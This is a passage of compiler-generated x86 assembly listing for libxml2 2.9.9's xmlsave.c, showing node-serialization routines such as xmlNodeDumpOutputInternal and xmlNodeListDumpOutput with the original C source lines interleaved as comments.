call _xmlSaveClearEncoding
add esp, 4
$LN209@xmlNodeDum:
; 886 : }
; 887 : if (doc != NULL)
test esi, esi
je $LN238@xmlNodeDum
; 888 : doc->encoding = oldenc;
mov eax, DWORD PTR _oldenc$1$[ebp]
pop edi
pop ebx
mov DWORD PTR [esi+60], eax
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN236@xmlNodeDum:
; 869 : if (xmlSaveSwitchEncoding(ctxt, (const char*) encoding) < 0) {
mov esi, DWORD PTR _doc$1$[ebp]
; 888 : doc->encoding = oldenc;
mov eax, DWORD PTR _oldenc$1$[ebp]
pop edi
pop ebx
mov DWORD PTR [esi+60], eax
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN12@xmlNodeDum:
; 925 : (ctxt->options & XML_SAVE_AS_HTML)) {
; 926 : htmlNodeDumpOutputInternal(ctxt, cur);
; 927 : return;
; 928 : }
; 929 : #endif
; 930 : if (cur->type == XML_DTD_NODE) {
cmp eax, 14 ; 0000000eH
jne SHORT $LN15@xmlNodeDum
; 931 : xmlDtdDumpOutput(ctxt, (xmlDtdPtr) cur);
push esi
push ebx
call _xmlDtdDumpOutput
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN15@xmlNodeDum:
; 932 : return;
; 933 : }
; 934 : if (cur->type == XML_DOCUMENT_FRAG_NODE) {
cmp eax, 11 ; 0000000bH
jne SHORT $LN16@xmlNodeDum
; 935 : xmlNodeListDumpOutput(ctxt, cur->children);
push DWORD PTR [esi+12]
push ebx
call _xmlNodeListDumpOutput
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN16@xmlNodeDum:
; 936 : return;
; 937 : }
; 938 : if (cur->type == XML_ELEMENT_DECL) {
cmp eax, 15 ; 0000000fH
jne SHORT $LN17@xmlNodeDum
; 939 : xmlBufDumpElementDecl(buf->buffer, (xmlElementPtr) cur);
push esi
push DWORD PTR [edi+16]
call _xmlBufDumpElementDecl
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN17@xmlNodeDum:
; 940 : return;
; 941 : }
; 942 : if (cur->type == XML_ATTRIBUTE_DECL) {
cmp eax, 16 ; 00000010H
jne SHORT $LN18@xmlNodeDum
; 943 : xmlBufDumpAttributeDecl(buf->buffer, (xmlAttributePtr) cur);
push esi
push DWORD PTR [edi+16]
call _xmlBufDumpAttributeDecl
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN18@xmlNodeDum:
; 944 : return;
; 945 : }
; 946 : if (cur->type == XML_ENTITY_DECL) {
cmp eax, 17 ; 00000011H
jne SHORT $LN19@xmlNodeDum
; 947 : xmlBufDumpEntityDecl(buf->buffer, (xmlEntityPtr) cur);
push esi
push DWORD PTR [edi+16]
call _xmlBufDumpEntityDecl
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN19@xmlNodeDum:
; 948 : return;
; 949 : }
; 950 : if (cur->type == XML_TEXT_NODE) {
cmp eax, 3
jne SHORT $LN20@xmlNodeDum
; 951 : if (cur->content != NULL) {
mov eax, DWORD PTR [esi+40]
test eax, eax
je $LN238@xmlNodeDum
; 952 : if (cur->name != xmlStringTextNoenc) {
cmp DWORD PTR [esi+8], OFFSET _xmlStringTextNoenc
je SHORT $LN22@xmlNodeDum
; 953 : xmlOutputBufferWriteEscape(buf, cur->content, ctxt->escape);
push DWORD PTR [ebx+116]
push eax
push edi
call _xmlOutputBufferWriteEscape
add esp, 12 ; 0000000cH
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN22@xmlNodeDum:
; 954 : } else {
; 955 : /*
; 956 : * Disable escaping, needed for XSLT
; 957 : */
; 958 : xmlOutputBufferWriteString(buf, (const char *) cur->content);
push eax
push edi
call _xmlOutputBufferWriteString
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN20@xmlNodeDum:
; 959 : }
; 960 : }
; 961 :
; 962 : return;
; 963 : }
; 964 : if (cur->type == XML_PI_NODE) {
cmp eax, 7
jne $LN24@xmlNodeDum
; 965 : if (cur->content != NULL) {
mov esi, DWORD PTR [esi+40]
push OFFSET ??_C@_02HFBBBACF@?$DM?$DP@
push 2
push edi
call _xmlOutputBufferWrite
mov eax, DWORD PTR _cur$[ebp]
push DWORD PTR [eax+8]
push edi
call _xmlOutputBufferWriteString
add esp, 20 ; 00000014H
test esi, esi
je SHORT $LN25@xmlNodeDum
; 966 : xmlOutputBufferWrite(buf, 2, "<?");
; 967 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
; 968 : if (cur->content != NULL) {
mov esi, DWORD PTR _cur$[ebp]
cmp DWORD PTR [esi+40], 0
je SHORT $LN30@xmlNodeDum
; 969 : if (ctxt->format == 2)
cmp DWORD PTR [ebx+40], 2
jne SHORT $LN28@xmlNodeDum
; 970 : xmlOutputBufferWriteWSNonSig(ctxt, 0);
push 0
push ebx
call _xmlOutputBufferWriteWSNonSig
add esp, 8
; 973 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
push DWORD PTR [esi+40]
push edi
call _xmlOutputBufferWriteString
; 974 : }
; 975 : xmlOutputBufferWrite(buf, 2, "?>");
; 976 : } else {
jmp SHORT $LN241@xmlNodeDum
$LN28@xmlNodeDum:
; 971 : else
; 972 : xmlOutputBufferWrite(buf, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 973 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
push DWORD PTR [esi+40]
push edi
call _xmlOutputBufferWriteString
; 974 : }
; 975 : xmlOutputBufferWrite(buf, 2, "?>");
; 976 : } else {
jmp SHORT $LN241@xmlNodeDum
$LN25@xmlNodeDum:
; 977 : xmlOutputBufferWrite(buf, 2, "<?");
; 978 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
; 979 : if (ctxt->format == 2)
cmp DWORD PTR [ebx+40], 2
jne SHORT $LN30@xmlNodeDum
; 980 : xmlOutputBufferWriteWSNonSig(ctxt, 0);
push 0
push ebx
call _xmlOutputBufferWriteWSNonSig
$LN241@xmlNodeDum:
; 981 : xmlOutputBufferWrite(buf, 2, "?>");
; 982 : }
; 983 : return;
add esp, 8
$LN30@xmlNodeDum:
push OFFSET ??_C@_02GOEMJPDN@?$DP?$DO@
push 2
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN24@xmlNodeDum:
; 984 : }
; 985 : if (cur->type == XML_COMMENT_NODE) {
cmp eax, 8
jne SHORT $LN31@xmlNodeDum
; 986 : if (cur->content != NULL) {
cmp DWORD PTR [esi+40], 0
je $LN238@xmlNodeDum
; 987 : xmlOutputBufferWrite(buf, 4, "<!--");
push OFFSET ??_C@_04FFDNBKGC@?$DM?$CB?9?9@
push 4
push edi
call _xmlOutputBufferWrite
; 988 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
push DWORD PTR [esi+40]
push edi
call _xmlOutputBufferWriteString
; 989 : xmlOutputBufferWrite(buf, 3, "-->");
push OFFSET ??_C@_03PNLDJJMO@?9?9?$DO@
push 3
push edi
call _xmlOutputBufferWrite
add esp, 32 ; 00000020H
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN31@xmlNodeDum:
; 990 : }
; 991 : return;
; 992 : }
; 993 : if (cur->type == XML_ENTITY_REF_NODE) {
cmp eax, 5
jne SHORT $LN33@xmlNodeDum
; 994 : xmlOutputBufferWrite(buf, 1, "&");
push OFFSET ??_C@_01HNPIGOCE@?$CG@
push 1
push edi
call _xmlOutputBufferWrite
; 995 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [esi+8]
push edi
call _xmlOutputBufferWriteString
; 996 : xmlOutputBufferWrite(buf, 1, ";");
push OFFSET ??_C@_01ICJEACDI@?$DL@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 32 ; 00000020H
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN33@xmlNodeDum:
; 997 : return;
; 998 : }
; 999 : if (cur->type == XML_CDATA_SECTION_NODE) {
cmp eax, 4
jne $LN34@xmlNodeDum
; 1000 : if (cur->content == NULL || *cur->content == '\0') {
mov esi, DWORD PTR [esi+40]
test esi, esi
je $LN37@xmlNodeDum
mov al, BYTE PTR [esi]
test al, al
je $LN37@xmlNodeDum
; 1002 : } else {
; 1003 : start = end = cur->content;
mov ebx, esi
npad 1
$LL2@xmlNodeDum:
; 1004 : while (*end != '\0') {
; 1005 : if ((*end == ']') && (*(end + 1) == ']') &&
cmp al, 93 ; 0000005dH
jne SHORT $LN38@xmlNodeDum
cmp BYTE PTR [esi+1], al
jne SHORT $LN38@xmlNodeDum
cmp BYTE PTR [esi+2], 62 ; 0000003eH
lea eax, DWORD PTR [esi+2]
jne SHORT $LN38@xmlNodeDum
; 1006 : (*(end + 2) == '>')) {
; 1007 : end = end + 2;
; 1008 : xmlOutputBufferWrite(buf, 9, "<![CDATA[");
push OFFSET ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@
push 9
push edi
mov esi, eax
call _xmlOutputBufferWrite
; 1009 : xmlOutputBufferWrite(buf, end - start, (const char *)start);
mov eax, esi
push ebx
sub eax, ebx
push eax
push edi
call _xmlOutputBufferWrite
; 1010 : xmlOutputBufferWrite(buf, 3, "]]>");
push OFFSET ??_C@_03MCHNFBAC@?$FN?$FN?$DO@
push 3
push edi
call _xmlOutputBufferWrite
add esp, 36 ; 00000024H
; 1011 : start = end;
mov ebx, esi
$LN38@xmlNodeDum:
; 1012 : }
; 1013 : end++;
mov al, BYTE PTR [esi+1]
inc esi
test al, al
jne SHORT $LL2@xmlNodeDum
; 1014 : }
; 1015 : if (start != end) {
cmp ebx, esi
je $LN238@xmlNodeDum
; 1016 : xmlOutputBufferWrite(buf, 9, "<![CDATA[");
push OFFSET ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@
push 9
push edi
call _xmlOutputBufferWrite
; 1017 : xmlOutputBufferWriteString(buf, (const char *)start);
push ebx
push edi
call _xmlOutputBufferWriteString
; 1018 : xmlOutputBufferWrite(buf, 3, "]]>");
push OFFSET ??_C@_03MCHNFBAC@?$FN?$FN?$DO@
push 3
push edi
call _xmlOutputBufferWrite
add esp, 32 ; 00000020H
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN37@xmlNodeDum:
; 1001 : xmlOutputBufferWrite(buf, 12, "<![CDATA[]]>");
push OFFSET ??_C@_0N@OGBMJHND@?$DM?$CB?$FLCDATA?$FL?$FN?$FN?$DO@
push 12 ; 0000000cH
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN34@xmlNodeDum:
; 1019 : }
; 1020 : }
; 1021 : return;
; 1022 : }
; 1023 : if (cur->type == XML_ATTRIBUTE_NODE) {
cmp eax, 2
jne SHORT $LN40@xmlNodeDum
; 1024 : xmlAttrDumpOutput(ctxt, (xmlAttrPtr) cur);
push esi
push ebx
call _xmlAttrDumpOutput
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN40@xmlNodeDum:
; 1025 : return;
; 1026 : }
; 1027 : if (cur->type == XML_NAMESPACE_DECL) {
cmp eax, 18 ; 00000012H
jne SHORT $LN41@xmlNodeDum
; 1028 : xmlNsDumpOutputCtxt(ctxt, (xmlNsPtr) cur);
push esi
push ebx
call _xmlNsDumpOutputCtxt
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN41@xmlNodeDum:
; 1029 : return;
; 1030 : }
; 1031 :
; 1032 : format = ctxt->format;
mov eax, DWORD PTR [ebx+40]
mov DWORD PTR _format$1$[ebp], eax
; 1033 : if (format == 1) {
cmp eax, 1
jne SHORT $LN5@xmlNodeDum
; 1034 : tmp = cur->children;
mov eax, DWORD PTR [esi+12]
; 1035 : while (tmp != NULL) {
test eax, eax
je SHORT $LN5@xmlNodeDum
npad 1
$LL4@xmlNodeDum:
; 1036 : if ((tmp->type == XML_TEXT_NODE) ||
; 1037 : (tmp->type == XML_CDATA_SECTION_NODE) ||
mov ecx, DWORD PTR [eax+4]
cmp ecx, 3
je SHORT $LN220@xmlNodeDum
cmp ecx, 4
je SHORT $LN220@xmlNodeDum
cmp ecx, 5
je SHORT $LN220@xmlNodeDum
; 1040 : break;
; 1041 : }
; 1042 : tmp = tmp->next;
mov eax, DWORD PTR [eax+24]
test eax, eax
jne SHORT $LL4@xmlNodeDum
; 1036 : if ((tmp->type == XML_TEXT_NODE) ||
; 1037 : (tmp->type == XML_CDATA_SECTION_NODE) ||
jmp SHORT $LN5@xmlNodeDum
$LN220@xmlNodeDum:
; 1038 : (tmp->type == XML_ENTITY_REF_NODE)) {
; 1039 : ctxt->format = 0;
mov DWORD PTR [ebx+40], 0
$LN5@xmlNodeDum:
; 1043 : }
; 1044 : }
; 1045 : xmlOutputBufferWrite(buf, 1, "<");
push OFFSET ??_C@_01MNNFJEPP@?$DM@
push 1
push edi
call _xmlOutputBufferWrite
; 1046 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR [esi+36]
add esp, 12 ; 0000000cH
test eax, eax
je SHORT $LN45@xmlNodeDum
mov eax, DWORD PTR [eax+12]
test eax, eax
je SHORT $LN45@xmlNodeDum
; 1047 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
push eax
push edi
call _xmlOutputBufferWriteString
; 1048 : xmlOutputBufferWrite(buf, 1, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
$LN45@xmlNodeDum:
; 1049 : }
; 1050 :
; 1051 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [esi+8]
push edi
call _xmlOutputBufferWriteString
; 1052 : if (cur->nsDef)
mov eax, DWORD PTR [esi+48]
add esp, 8
test eax, eax
je SHORT $LN46@xmlNodeDum
; 1053 : xmlNsListDumpOutputCtxt(ctxt, cur->nsDef);
push eax
push ebx
call _xmlNsListDumpOutputCtxt
add esp, 8
$LN46@xmlNodeDum:
; 1054 : if (cur->properties != NULL)
mov eax, DWORD PTR [esi+44]
test eax, eax
je SHORT $LN214@xmlNodeDum
mov esi, eax
npad 3
$LL213@xmlNodeDum:
; 797 : xmlAttrDumpOutput(ctxt, cur);
push esi
push ebx
call _xmlAttrDumpOutput
; 798 : cur = cur->next;
mov esi, DWORD PTR [esi+24]
add esp, 8
test esi, esi
jne SHORT $LL213@xmlNodeDum
mov esi, DWORD PTR _cur$[ebp]
$LN214@xmlNodeDum:
; 1055 : xmlAttrListDumpOutput(ctxt, cur->properties);
; 1056 :
; 1057 : if (((cur->type == XML_ELEMENT_NODE) || (cur->content == NULL)) &&
; 1058 : (cur->children == NULL) && ((ctxt->options & XML_SAVE_NO_EMPTY) == 0)) {
cmp DWORD PTR [esi+4], 1
je SHORT $LN234@xmlNodeDum
cmp DWORD PTR [esi+40], 0
jne SHORT $LN48@xmlNodeDum
$LN234@xmlNodeDum:
cmp DWORD PTR [esi+12], 0
jne SHORT $LN48@xmlNodeDum
test BYTE PTR [ebx+32], 4
jne SHORT $LN48@xmlNodeDum
; 1059 : if (ctxt->format == 2)
cmp DWORD PTR [ebx+40], 2
jne SHORT $LN50@xmlNodeDum
; 1060 : xmlOutputBufferWriteWSNonSig(ctxt, 0);
push 0
push ebx
call _xmlOutputBufferWriteWSNonSig
add esp, 8
$LN50@xmlNodeDum:
; 1061 : xmlOutputBufferWrite(buf, 2, "/>");
push OFFSET ??_C@_02HCGKDMEN@?1?$DO@
push 2
push edi
call _xmlOutputBufferWrite
; 1062 : ctxt->format = format;
mov eax, DWORD PTR _format$1$[ebp]
add esp, 12 ; 0000000cH
mov DWORD PTR [ebx+40], eax
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN48@xmlNodeDum:
; 1063 : return;
; 1064 : }
; 1065 : if (ctxt->format == 2)
cmp DWORD PTR [ebx+40], 2
jne SHORT $LN51@xmlNodeDum
; 1066 : xmlOutputBufferWriteWSNonSig(ctxt, 1);
push 1
push ebx
call _xmlOutputBufferWriteWSNonSig
add esp, 8
$LN51@xmlNodeDum:
; 1067 : xmlOutputBufferWrite(buf, 1, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1068 : if ((cur->type != XML_ELEMENT_NODE) && (cur->content != NULL)) {
cmp DWORD PTR [esi+4], 1
je SHORT $LN52@xmlNodeDum
mov eax, DWORD PTR [esi+40]
test eax, eax
je SHORT $LN52@xmlNodeDum
; 1069 : xmlOutputBufferWriteEscape(buf, cur->content, ctxt->escape);
push DWORD PTR [ebx+116]
push eax
push edi
call _xmlOutputBufferWriteEscape
add esp, 12 ; 0000000cH
$LN52@xmlNodeDum:
; 1070 : }
; 1071 : if (cur->children != NULL) {
cmp DWORD PTR [esi+12], 0
je SHORT $LN57@xmlNodeDum
; 1072 : if (ctxt->format == 1) xmlOutputBufferWrite(buf, 1, "\n");
cmp DWORD PTR [ebx+40], 1
jne SHORT $LN54@xmlNodeDum
push OFFSET ??_C@_01EEMJAFIK@?6@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN54@xmlNodeDum:
; 1073 : if (ctxt->level >= 0) ctxt->level++;
mov eax, DWORD PTR [ebx+36]
test eax, eax
js SHORT $LN55@xmlNodeDum
inc eax
mov DWORD PTR [ebx+36], eax
$LN55@xmlNodeDum:
; 1074 : xmlNodeListDumpOutput(ctxt, cur->children);
push DWORD PTR [esi+12]
push ebx
call _xmlNodeListDumpOutput
; 1075 : if (ctxt->level > 0) ctxt->level--;
mov eax, DWORD PTR [ebx+36]
add esp, 8
test eax, eax
jle SHORT $LN56@xmlNodeDum
dec eax
mov DWORD PTR [ebx+36], eax
$LN56@xmlNodeDum:
; 1076 : if ((xmlIndentTreeOutput) && (ctxt->format == 1))
call ___xmlIndentTreeOutput
cmp DWORD PTR [eax], 0
je SHORT $LN57@xmlNodeDum
cmp DWORD PTR [ebx+40], 1
jne SHORT $LN57@xmlNodeDum
; 1077 : xmlOutputBufferWrite(buf, ctxt->indent_size *
mov edx, DWORD PTR [ebx+108]
lea eax, DWORD PTR [ebx+44]
cmp DWORD PTR [ebx+36], edx
push eax
cmovle edx, DWORD PTR [ebx+36]
imul edx, DWORD PTR [ebx+112]
push edx
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN57@xmlNodeDum:
; 1078 : (ctxt->level > ctxt->indent_nr ?
; 1079 : ctxt->indent_nr : ctxt->level),
; 1080 : ctxt->indent);
; 1081 : }
; 1082 : xmlOutputBufferWrite(buf, 2, "</");
push OFFSET ??_C@_02DPNDACHE@?$DM?1@
push 2
push edi
call _xmlOutputBufferWrite
; 1083 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR [esi+36]
add esp, 12 ; 0000000cH
test eax, eax
je SHORT $LN58@xmlNodeDum
mov eax, DWORD PTR [eax+12]
test eax, eax
je SHORT $LN58@xmlNodeDum
; 1084 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
push eax
push edi
call _xmlOutputBufferWriteString
; 1085 : xmlOutputBufferWrite(buf, 1, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
$LN58@xmlNodeDum:
; 1086 : }
; 1087 :
; 1088 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [esi+8]
push edi
call _xmlOutputBufferWriteString
add esp, 8
; 1089 : if (ctxt->format == 2)
cmp DWORD PTR [ebx+40], 2
jne SHORT $LN59@xmlNodeDum
; 1090 : xmlOutputBufferWriteWSNonSig(ctxt, 0);
push 0
push ebx
call _xmlOutputBufferWriteWSNonSig
add esp, 8
$LN59@xmlNodeDum:
; 1091 : xmlOutputBufferWrite(buf, 1, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push 1
push edi
call _xmlOutputBufferWrite
; 1092 : ctxt->format = format;
mov eax, DWORD PTR _format$1$[ebp]
add esp, 12 ; 0000000cH
mov DWORD PTR [ebx+40], eax
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN10@xmlNodeDum:
; 913 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 914 : xmlDocContentDumpOutput(ctxt, (xmlDocPtr) cur);
push esi
push ebx
call _xmlDocContentDumpOutput
add esp, 8
$LN238@xmlNodeDum:
pop edi
pop ebx
$LN1@xmlNodeDum:
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
_xmlNodeDumpOutputInternal ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNodeListDumpOutput
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlNodeListDumpOutput PROC ; COMDAT
; 811 : xmlNodeListDumpOutput(xmlSaveCtxtPtr ctxt, xmlNodePtr cur) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _cur$[ebp]
test esi, esi
je SHORT $LN3@xmlNodeLis
; 812 : xmlOutputBufferPtr buf;
; 813 :
; 814 : if (cur == NULL) return;
; 815 : buf = ctxt->buf;
push ebx
push edi
mov edi, DWORD PTR _ctxt$[ebp]
mov ebx, DWORD PTR [edi+24]
npad 3
$LL2@xmlNodeLis:
; 816 : while (cur != NULL) {
; 817 : if ((ctxt->format == 1) && (xmlIndentTreeOutput) &&
cmp DWORD PTR [edi+40], 1
jne SHORT $LN5@xmlNodeLis
call ___xmlIndentTreeOutput
cmp DWORD PTR [eax], 0
je SHORT $LN5@xmlNodeLis
mov eax, DWORD PTR [esi+4]
cmp eax, 1
je SHORT $LN6@xmlNodeLis
cmp eax, 8
je SHORT $LN6@xmlNodeLis
cmp eax, 7
jne SHORT $LN5@xmlNodeLis
$LN6@xmlNodeLis:
; 818 : ((cur->type == XML_ELEMENT_NODE) ||
; 819 : (cur->type == XML_COMMENT_NODE) ||
; 820 : (cur->type == XML_PI_NODE)))
; 821 : xmlOutputBufferWrite(buf, ctxt->indent_size *
mov edx, DWORD PTR [edi+108]
lea eax, DWORD PTR [edi+44]
cmp DWORD PTR [edi+36], edx
push eax
cmovle edx, DWORD PTR [edi+36]
imul edx, DWORD PTR [edi+112]
push edx
push ebx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN5@xmlNodeLis:
; 822 : (ctxt->level > ctxt->indent_nr ?
; 823 : ctxt->indent_nr : ctxt->level),
; 824 : ctxt->indent);
; 825 : xmlNodeDumpOutputInternal(ctxt, cur);
push esi
push edi
call _xmlNodeDumpOutputInternal
add esp, 8
; 826 : if (ctxt->format == 1) {
cmp DWORD PTR [edi+40], 1
jne SHORT $LN7@xmlNodeLis
; 827 : xmlOutputBufferWrite(buf, 1, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push 1
push ebx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN7@xmlNodeLis:
; 828 : }
; 829 : cur = cur->next;
mov esi, DWORD PTR [esi+24]
test esi, esi
jne SHORT $LL2@xmlNodeLis
pop edi
pop ebx
$LN3@xmlNodeLis:
pop esi
; 830 : }
; 831 : }
pop ebp
ret 0
_xmlNodeListDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xhtmlNodeDumpOutput
_TEXT SEGMENT
_httpequiv$1$ = -12 ; size = 4
_indent$1$ = -12 ; size = 4
_tmp$2$ = -8 ; size = 4
_addmeta$1$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_format$1$ = 12 ; size = 4
_cur$ = 12 ; size = 4
_xhtmlNodeDumpOutput PROC ; COMDAT
; 1449 : xhtmlNodeDumpOutput(xmlSaveCtxtPtr ctxt, xmlNodePtr cur) {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
push ebx
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _cur$[ebp]
mov DWORD PTR _addmeta$1$[ebp], 0
test ebx, ebx
je $LN1@xhtmlNodeD
; 1450 : int format, addmeta = 0;
; 1451 : xmlNodePtr tmp;
; 1452 : xmlChar *start, *end;
; 1453 : xmlOutputBufferPtr buf;
; 1454 :
; 1455 : if (cur == NULL) return;
; 1456 : if ((cur->type == XML_DOCUMENT_NODE) ||
mov eax, DWORD PTR [ebx+4]
cmp eax, 9
je $LN10@xhtmlNodeD
cmp eax, 13 ; 0000000dH
je $LN10@xhtmlNodeD
; 1459 : return;
; 1460 : }
; 1461 : if (cur->type == XML_XINCLUDE_START)
cmp eax, 19 ; 00000013H
je $LN1@xhtmlNodeD
; 1462 : return;
; 1463 : if (cur->type == XML_XINCLUDE_END)
cmp eax, 20 ; 00000014H
je $LN1@xhtmlNodeD
; 1464 : return;
; 1465 : if (cur->type == XML_NAMESPACE_DECL) {
cmp eax, 18 ; 00000012H
jne SHORT $LN13@xhtmlNodeD
; 1466 : xmlNsDumpOutputCtxt(ctxt, (xmlNsPtr) cur);
push ebx
push DWORD PTR _ctxt$[ebp]
call _xmlNsDumpOutputCtxt
add esp, 8
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN13@xhtmlNodeD:
; 1467 : return;
; 1468 : }
; 1469 : if (cur->type == XML_DTD_NODE) {
cmp eax, 14 ; 0000000eH
jne SHORT $LN14@xhtmlNodeD
; 1470 : xmlDtdDumpOutput(ctxt, (xmlDtdPtr) cur);
push ebx
push DWORD PTR _ctxt$[ebp]
call _xmlDtdDumpOutput
add esp, 8
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN14@xhtmlNodeD:
; 1471 : return;
; 1472 : }
; 1473 : if (cur->type == XML_DOCUMENT_FRAG_NODE) {
cmp eax, 11 ; 0000000bH
jne SHORT $LN15@xhtmlNodeD
; 1474 : xhtmlNodeListDumpOutput(ctxt, cur->children);
push DWORD PTR [ebx+12]
push DWORD PTR _ctxt$[ebp]
call _xhtmlNodeListDumpOutput
add esp, 8
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN15@xhtmlNodeD:
push esi
; 1475 : return;
; 1476 : }
; 1477 : buf = ctxt->buf;
mov esi, DWORD PTR _ctxt$[ebp]
push edi
mov edi, DWORD PTR [esi+24]
; 1478 : if (cur->type == XML_ELEMENT_DECL) {
cmp eax, 15 ; 0000000fH
jne SHORT $LN16@xhtmlNodeD
; 1479 : xmlBufDumpElementDecl(buf->buffer, (xmlElementPtr) cur);
push ebx
push DWORD PTR [edi+16]
call _xmlBufDumpElementDecl
add esp, 8
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN16@xhtmlNodeD:
; 1480 : return;
; 1481 : }
; 1482 : if (cur->type == XML_ATTRIBUTE_DECL) {
cmp eax, 16 ; 00000010H
jne SHORT $LN17@xhtmlNodeD
; 1483 : xmlBufDumpAttributeDecl(buf->buffer, (xmlAttributePtr) cur);
push ebx
push DWORD PTR [edi+16]
call _xmlBufDumpAttributeDecl
add esp, 8
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN17@xhtmlNodeD:
; 1484 : return;
; 1485 : }
; 1486 : if (cur->type == XML_ENTITY_DECL) {
cmp eax, 17 ; 00000011H
jne SHORT $LN18@xhtmlNodeD
; 1487 : xmlBufDumpEntityDecl(buf->buffer, (xmlEntityPtr) cur);
push ebx
push DWORD PTR [edi+16]
call _xmlBufDumpEntityDecl
add esp, 8
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN18@xhtmlNodeD:
; 1488 : return;
; 1489 : }
; 1490 : if (cur->type == XML_TEXT_NODE) {
cmp eax, 3
jne SHORT $LN19@xhtmlNodeD
; 1491 : if (cur->content != NULL) {
mov eax, DWORD PTR [ebx+40]
test eax, eax
je $LN188@xhtmlNodeD
; 1492 : if ((cur->name == xmlStringText) ||
mov ecx, DWORD PTR [ebx+8]
cmp ecx, OFFSET _xmlStringText
je SHORT $LN23@xhtmlNodeD
cmp ecx, OFFSET _xmlStringTextNoenc
jne SHORT $LN23@xhtmlNodeD
; 1495 : } else {
; 1496 : /*
; 1497 : * Disable escaping, needed for XSLT
; 1498 : */
; 1499 : xmlOutputBufferWriteString(buf, (const char *) cur->content);
push eax
push edi
call _xmlOutputBufferWriteString
add esp, 8
pop edi
pop esi
pop ebx
; 1781 : }
mov esp, ebp
pop ebp
ret 0
$LN23@xhtmlNodeD:
; 1493 : (cur->name != xmlStringTextNoenc)) {
; 1494 : xmlOutputBufferWriteEscape(buf, cur->content, ctxt->escape);
